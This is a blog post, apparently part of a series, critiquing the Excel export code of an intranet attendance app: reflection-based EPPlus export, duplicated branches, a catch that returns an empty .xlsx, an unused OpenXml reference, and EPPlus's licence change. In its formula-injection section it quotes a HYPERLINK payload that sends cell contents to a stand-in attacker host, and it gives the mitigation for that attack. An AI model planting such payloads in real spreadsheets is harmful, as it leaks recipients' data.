Every Intranet App Ends Up Exporting Excel
EPPlus export by reflection, attribute-ordered columns, six near-identical branches, a ten-byte corrupt-file catch, a ghost OpenXml reference, formula injection, and the licence change that caught a lot of teams off guard.
You can build the finest drag-and-drop report builder in the world, as part eight did, and your users will still, immediately, click Export to Excel. Not because the web grid is bad — because the spreadsheet is where their actual work happens. They will pivot it, re-colour it, email it, and paste it into a deck. The browser is where they look; Excel is where they do. The attendance platform had four separate Excel exports, and every one taught a slightly different lesson about the humble .xlsx.
Export by reflection
The exports ran through EPPlus and a single reflective helper. Hand it any list of objects and it produced a sheet:
public byte[] Export<T>(IEnumerable<T> rows)
{
using var package = new ExcelPackage();
var sheet = package.Workbook.Worksheets.Add("Report");
var props = typeof(T).GetProperties()
.Where(p => p.GetCustomAttribute<DataMemberAttribute>() != null)
.OrderBy(p => p.GetCustomAttribute<DataMemberAttribute>().Order);
var col = 1;
foreach (var p in props)
sheet.Cells[1, col++].Value = Humanise(p.Name);
var row = 2;
foreach (var item in rows)
{
col = 1;
foreach (var p in props)
sheet.Cells[row, col++].Value = p.GetValue(item);
row++;
}
return package.GetAsByteArray();
}
The nice idea here is column order as declared metadata: the DTO decorates each property with [DataMember(Order = n)], and the export orders columns by that number. The shape of the spreadsheet lives next to the shape of the data, versioned together, instead of in a separate mapping that drifts. EPPlus's LoadFromCollection does something similar out of the box; the hand-rolled loop was there so date and time values could be format-fixed on the way in — attendance data is all time-typed durations, and Excel's default rendering of those is a special kind of wrong.
The critique is that this one helper had six near-identical siblings — one per export shape — each a is List<SomeDto> branch of the same structure with slightly different formatting fixups. Six copies of a reflection loop is the same disease as the four copies of the payroll-month math from part one: generics existed to make it one method, and deadline pressure made it six. When the date-format fix needed changing, it needed changing in six places, and the sixth was always the one that got missed.
The ten-byte file
Now the defect I cannot forgive as easily. Each export action wrapped its work in a catch that, on failure, still returned a file:
public IActionResult ExportShiftReport(int managerId)
{
try
{
var bytes = _export.Export(_data.GetShiftRows(managerId));
return File(bytes, XlsxContentType, "ShiftReport.xlsx");
}
catch
{
return File(new byte[0], XlsxContentType, "ShiftReport.xlsx");
}
}
On any exception, the user gets a ShiftReport.xlsx — an empty byte array with an .xlsx name. It downloads cleanly. It has the right icon. And it will not open, because it is not a spreadsheet; it is nothing wearing a spreadsheet's extension. From the user's chair the failure mode is the worst possible one: no error, no message, just a file that Excel rejects as corrupt. They will assume they did something wrong, retry twice, then raise a ticket that says “export is broken” with no other information — because the code deliberately threw away the exception that would have told anyone why.
A caught exception that returns a plausible-looking success is worse than an unhandled one, because it converts a diagnosable crash into an unfalsifiable user complaint. The honest failure is a 500 with the exception logged, or a page that says “the report could not be generated” with a correlation id. The empty file is the export equivalent of catch (Exception ex) { throw ex; } from part six — a reflex to make the red go away, at the cost of the information that made it useful.
A ghost in the references
The export project referenced DocumentFormat.OpenXml — Microsoft's low-level Open XML SDK — and used it exactly once, in a stray using DocumentFormat.OpenXml.Bibliography; at the top of an unrelated controller. Not a single type from the package was ever instantiated. Someone, at some point, evaluated OpenXml as the export engine, added the reference, wrote an import, chose EPPlus instead, and left the import behind. The using compiled (imports always do, whether or not you use them), so it stayed — a ghost dependency dragging a large package into every deployment for the sake of one unused namespace directive. It has a reserved plot in the dependency graveyard.
The cell that runs a formula
An attendance export writes employee names and free-text comments into cells, and those strings come from humans. Which raises the risk every “just dump it to Excel” feature carries and few consider: CSV/formula injection. If a cell's text begins with =, +, -, or @, Excel may interpret it as a formula when the file is opened. A comment field containing =HYPERLINK("http://evil.example/?"&A1) becomes a live, data-exfiltrating link in the recipient's spreadsheet — executed on their machine, with their trust, from a file your trusted intranet generated.
The platform did not guard against this. The mitigation is one line at write time — prefix any cell whose value starts with a formula trigger with a leading apostrophe, which forces Excel to treat it as text — applied to every string cell sourced from user input. It costs nothing and it closes a hole that turns your reporting feature into a phishing delivery mechanism. I did not know to do this at the time; I do now, and it goes into every exporter I write.
The licence footnote nobody reads
One more, because it bit a great many teams and is a pure governance lesson rather than a code one. The EPPlus version this app used was from the 4.5 line — the last of the freely-licensed releases. With version 5, EPPlus moved to a Polyform Noncommercial licence: still free for non-commercial use, but commercial use now requires a paid licence, and the library will refuse to work until you acknowledge the licensing context in code.
An internal HR tool at a company is commercial use. A team that upgrades EPPlus without reading the release notes gets a runtime exception about an unset licence, in production, on the first export after deploy. Nothing about a package upgrade feels like a legal event, which is exactly the trap: a dependency's licence is part of its API, and it can change on a minor-looking bump. Pin the version deliberately, read the notes before you move, and know whether your “free” library is still free for what you are doing with it.
The reason this catches good teams is that the mental model of a version bump is “same behaviour, fewer bugs, maybe some new features”. A licence change violates that model without violating the version number: the code still compiles, the API surface is unchanged, the tests (if any) pass — and then the runtime enforces a legal term that the compiler never mentioned. It is a failure mode that lives entirely outside the type system, which is why type-safe, well-tested code offers no protection from it. The durable habits are two. First, treat major-version bumps of any dependency as a decision requiring the changelog, not a routine chore your dependency bot performs unattended. Second, keep an inventory of what your dependencies' licences actually permit, because “we've always used it and it was free” is a statement about the past, and licences are a thing that changes going forward while your memory of them does not.
The ledger
- Metadata-ordered columns — keep. Shape-of-data next to data is right.
- Six reflection branches — one generic method. The copies only ever drift.
- The ten-byte file — the worst pattern in the export code. Fail loudly, log the exception, tell the user something true.
- The OpenXml ghost — delete unused references; an unused
usingstill ships the package. - Formula injection — one apostrophe at write time. Do it always.
- The licence — read the notes before the bump.
Exports are a read path. The write paths — sessions, caches, the state that lives between requests — hide a different class of failure entirely, including a cache expiry that throws every December. Next.